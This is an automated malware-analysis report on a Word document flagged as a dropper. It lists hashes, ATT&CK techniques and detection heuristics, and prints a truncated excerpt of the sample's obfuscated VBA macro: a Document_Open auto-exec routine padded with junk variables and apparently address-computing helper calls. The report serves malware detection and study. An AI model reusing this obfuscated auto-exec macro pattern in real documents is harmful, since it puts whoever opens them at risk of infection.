Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eaf772419233d150…

MALICIOUS

Office (OLE)

185.5 KB Created: 2017-01-31 16:23:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 0cdbbbaa7dceb0558e85518a748f85b3 SHA-1: 5cfb03d2fd66d1f99c2466bfa20ae6e840cc1528 SHA-256: eaf772419233d1506bb4357becf5850854265f31a90ab84cc274c88778c47873
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro that executes shell commands, indicating a dropper functionality. The presence of an 'enable macros' lure further supports this. ClamAV identified the file as 'Doc.Dropper.Agent-7010121-0', suggesting it's a known dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7010121-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7010121-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7529 bytes
SHA-256: f5cc5ab2e6f05649a0d0b4695bcc5d71d78a5f57789b6e436fddf6244d8cf7af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ControlWord()
    Dim objWord As New Word.Application
    Dim rsContacts As New ADODB.Recordset
    Dim strLtrContent As String
    rsContacts.ActiveConnection = CurrentProject.Connection
    rsContacts.Open "tblContacts"
    
    objWord.Documents.Add
    
    Do While Not rsContacts.EOF
      strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
      strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
      strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
      strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
      strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
      strLtrContent = strLtrContent & rsContacts("LastName") & ":"
    
        objWord.Selection.EndOf
        objWord.Selection.Text = strLtrContent
    
        objWord.Selection.EndOf
        objWord.Selection.InsertBreak
        
        rsContacts.MoveNext
    Loop
    objWord.Visible = True
    objWord.PrintPreview = True
End Sub


Function lugger(horsewoman, brydges, aristides)
#If Win64 Then
Dim auxilia As Variant
Dim anathematize As Integer
Dim schoolmate As LongPtr
Dim agathis As LongPtr
Dim dowdiness As LongPtr
Dim sauciness As String
Dim millwright As LongPtr
Dim rifled As LongPtr
#Else
Dim agathis As Long
Dim alto As Byte
Dim schoolmate As Long
Dim carboy As Byte
Dim millwright As Long
Dim deperdition As Variant
Dim dowdiness As Long
Dim goodness As Variant
Dim rifled As Long
Dim aeronautical As String
Dim limbic As Variant
#End If
diamond = diamond
methanol = "maximizing"
agathis = horsewoman
rifled = aristides
bazeingr = VBA.Math.Round(455.7117 + 88)
millwright = brydges
euglenophyta = 46
aphonous = 17050
lamba = 427088
indiaman = SLN(lamba, aphonous, euglenophyta)

bazeingr = Rnd(270.6004 + 118)
schoolmate = 63 + 39 + 41 - 144
acronymic ByVal schoolmate, agathis, millwright, rifled, dowdiness
bazeingr = bazeingr \ 187
End Function
Private Sub Document_Open()
Dim microscopically As String
Dim longing As String
tamandua = "attainable"
barrels = "choppy"
intercommunity
cheremis = 44
aeroscope = 34761
pinguecula = 226617
huddle = SLN(pinguecula, aeroscope, cheremis)
End Sub


gaterum = "similar"
masdevallia = "ladino"
#If Win64 Then
Dim christianity As Variant
Dim eyedness As LongPtr
Dim breechesmaker As LongPtr
Dim fivehitter As Variant
#Else
Dim masterdom As String
Dim breechesmaker As Long
Dim aythya As String
Dim eyedness As Long
#End If
bootlegging = 44 - 44
actinomorphic = "assumiing"
bruchus = "hi" & "ghfl" & "own"
formosan = 4096
trilobate = 94
fearing = 31220
propylaeum = 282632
fearing = Pmt(0.0721, trilobate, -31870, propylaeum, 0)

hymenophyllaceae = "mortify"
babysitter = "cr" & "aggy"
pearliness = "davy"
allegorical = 34
drifting = 38056
lunular = 321649
ropedancing = SLN(lunular, drifting, allegorical)

bodacious = hone
attract = "fluoroboride"
hokkaido = "offsite"
eyedness = dissocial(bodacious)
biogenetic = "ad" & "vances"
phoenicophorium = "nether"
#If Win64 Then
Dim down As Integer
Dim dabchick As LongPtr
colloquially = "transpose"
aborticide = "fl" & "apdoodle"
Dim boreal As LongPtr
taken = 116 - 24 - 36 + 1256
#ElseIf Win32 Then
inquirendum = "chorizon"
copperbottomed = "hominidae"
Dim dabchick As Long
abbe = 128 + 367
Dim boreal As Long
taken = abbe + 2659

#End If
Dim nervous As Variant
Dim antirrhinum As Long
dabchick = 0
breechesmaker = eyedness + taken
boreal = 1
overmaster = aweless(breechesmaker, dabchick, boreal, dabchick)
coetera = 23
dialectic = 19195
cuirassier = 525873
perennially = SLN(cuirassier, dialectic, coetera)

End Sub


lugger dibranchiata, doff, 4384
commercialized = 36
heartsw
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.